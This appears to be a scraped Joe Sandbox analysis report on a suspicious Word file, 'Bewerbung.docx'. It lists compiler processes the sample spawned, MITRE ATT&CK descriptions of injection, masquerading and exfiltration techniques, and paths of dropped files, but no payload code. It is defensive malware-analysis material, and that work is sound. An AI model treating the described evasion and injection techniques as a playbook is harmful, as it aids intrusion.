Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2cyagvwu\2cyagvwu.cmdline
Imagebase:	0xbf0000
File size:	2170976 bytes
MD5 hash:	350C52F71BDED7B99668585C15D70EEA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Show Windows behavior

Target ID:	14
Start time:	15:41:38
Start date:	19/09/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6A8A.tmp" "c:\Users\user\AppData\Local\Temp\2cyagvwu\CSC8D8C47D5CCF542F2A6978E3AB92620A2.TMP"
Imagebase:	0x10c0000
File size:	43176 bytes
MD5 hash:	C09985AE74F0882F208D75DE27770DFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	15
Start time:	15:41:42
Start date:	19/09/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1ps51w3p\1ps51w3p.cmdline
Imagebase:	0xbf0000
File size:	2170976 bytes
MD5 hash:	350C52F71BDED7B99668585C15D70EEA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Show Windows behavior

Target ID:	16
Start time:	15:41:44
Start date:	19/09/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7E41.tmp" "c:\Users\user\AppData\Local\Temp\1ps51w3p\CSCA2F7DC4713240A6A1FCA0F064ADC74.TMP"
Imagebase:	0x10c0000
File size:	43176 bytes
MD5 hash:	C09985AE74F0882F208D75DE27770DFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	18
Start time:	15:41:54
Start date:	19/09/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ufpm0sbx\ufpm0sbx.cmdline
Imagebase:	0xc30000
File size:	2170976 bytes
MD5 hash:	350C52F71BDED7B99668585C15D70EEA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Show Windows behavior

Target ID:	19
Start time:	15:41:55
Start date:	19/09/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAB6C.tmp" "c:\Users\user\AppData\Local\Temp\ufpm0sbx\CSCFD12017F98C74F3CA9A85B7B52106DF8.TMP"
Imagebase:	0x10c0000
File size:	43176 bytes
MD5 hash:	C09985AE74F0882F208D75DE27770DFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Bewerbung.docx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.accdb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.ini

C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\E24EF0C9-A590-42E5-86FE-7CD4853FA5C1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\29896CD7.png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{64A3FFB2-7704-4056-A38D-43E98D209F95}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{67E04DCA-0F5C-43A4-A30A-1D3E6BF2FA13}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\smartscreen[1].html

C:\Users\user\AppData\Local\Temp\1ps51w3p\1ps51w3p.dll

C:\Users\user\AppData\Local\Temp\1ps51w3p\CSCA2F7DC4713240A6A1FCA0F064ADC74.TMP

C:\Users\user\AppData\Local\Temp\2cyagvwu\2cyagvwu.dll

C:\Users\user\AppData\Local\Temp\2cyagvwu\CSC8D8C47D5CCF542F2A6978E3AB92620A2.TMP

C:\Users\user\AppData\Local\Temp\RES6A8A.tmp

C:\Users\user\AppData\Local\Temp\RES7E41.tmp

C:\Users\user\AppData\Local\Temp\RESAB6C.tmp

C:\Users\user\AppData\Local\Temp\ufpm0sbx\CSCFD12017F98C74F3CA9A85B7B52106DF8.TMP

Windows Analysis Report
Bewerbung.docx